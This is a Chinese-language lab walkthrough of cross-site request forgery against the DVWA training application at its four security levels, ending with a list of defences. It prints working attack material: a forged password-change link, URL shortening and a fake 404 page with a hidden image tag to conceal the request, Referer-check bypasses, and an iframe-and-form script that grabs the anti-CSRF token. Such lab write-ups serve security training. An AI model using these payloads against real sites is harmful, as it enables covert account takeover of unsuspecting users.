CSRF屬於業務邏輯漏洞X
SQL注入、XSS屬於技術漏洞
原理
利用受害者尚未失效的身份認證信息(cookie,會話等),誘導受害人點擊惡意鏈接或者含有攻擊代碼的頁面,在受害人不知情的情況下,以受害者身份向服務器發送請求,從而完成非法操作(改密、轉賬等)。
前提條件
1、cookie未失效
2、用戶登錄
CSRF與XSS最大的區別
CSRF沒有盜取cookie,而是直接利用,看起是合法請求。
Low
1、構造惡意鏈接
http://192.168.168.190/DVWA/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
當受害者點擊這個鏈接時,密碼就已經被修改。
注意,不同瀏覽器之間因爲機制不同,點擊鏈接攻擊是不會被觸發的,而是自動跳轉到登錄頁面。
2、這個鏈接修改密碼太明顯了,可以使用工具縮短url。如悟空短鏈接等(有效期半小時)
短鏈接條件:服務器域名不是ip
短鏈接 https://w.url.cn/s/AYYH7vc
受害者會看到密碼修改的提示
3、構造攻擊頁面
Burp抓包生成POC,複製到html裏面,上傳到服務器
4、這樣,還是明顯,可以嘗試打開頁面爲404
<html>
<img src=http://192.168.168.190/DVWA/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change# border="0" style="display:none;"/>
<h1>404</h1>
<h2>Not Found</h2>
</html>
此時,密碼已經修改成功,而用戶不知情。可以使用新密碼登錄DVWA驗證。
這種情況源代碼可以看到修改密碼的腳本
5、頁面跳轉
(1)在腳本中加入
<meta http-equiv="refresh" content="3; url=http://www.baidu.com/" />
頁面會卡頓一下然後跳轉到百度頁面,爲了顯示效果,中間會出現一個404頁面
(2)<script>window.location.href='http://www.baidu.com';</script>
還有別的頁面跳轉方式,可以自行百度。
Medium
可以看到,Medium級別的代碼檢查了保留變量HTTP_REFERER(http包頭的Referer參數的值,表示來源地址)中是否包含SERVER_NAME(http包頭的Host參數,及要訪問的主機名,這裏是192.168.153.130),希望通過這種機制抵禦CSRF攻擊。
我們可以將攻擊頁面命名爲 受害者ip.html,上傳、訪問
或者
可以用Burp抓包,修改refer頭部信息,文件名改爲受害者ip,便可完美繞過
High
可以看到,High級別的代碼加入了Anti-CSRF token機制,用戶每次訪問改密頁面時,服務器會返回一個隨機的token,向服務器發起請求時,需要提交token參數,而服務器在收到請求時,會優先檢查token,只有token正確,纔會處理客戶端的請求。
獲取token代碼
<script type="text/javascript">
function attack()
{
document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
document.getElementById("transfer").submit();
}
</script>
<iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">
</iframe>
<body onload="attack()">
<form method="GET" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/csrf">
<input type="hidden" name="password_new" value="password">
<input type="hidden" name="password_conf" value="password">
<input type="hidden" name="user_token" value="">
<input type="hidden" name="Change" value="Change">
</form>
</body>
當受害者點擊這個頁面,腳本會通過一個看不見的框架偷偷修改訪問修改密碼的頁面,獲取頁面的token,並向服務器發送改密請求,完成CSRF攻擊。
然而,這裏牽扯到了跨域問題,而現在的瀏覽器是不允許跨域請求的。所以攻擊腳本是不可能取到改密界面的token。
因此,我們要將攻擊代碼注入到目標服務器,纔可能完成攻擊。利用High級別的XSS漏洞協助獲取Anti-CSRF token(因爲這裏的XSS注入有長度限制,不能夠注入完整的攻擊腳本,所以只獲取Anti-CSRF token)。
Impossible
添加了二次認證,必須知道原密碼。
防禦
1、採用原始密碼認證;
2、驗證refer,即HTTP請求的來源地址。比如,黑客A想讓受害者B轉賬給他,A會自己搭建一個網站構造HTTP請求,誘使B點擊,從而使B處罰轉賬操作,此時refer值爲A自己搭建的網站地址。
3、驗證token(存在於服務器端session中)
4、在HTTP頭部自定義屬性並驗證(XMLHttpRequest)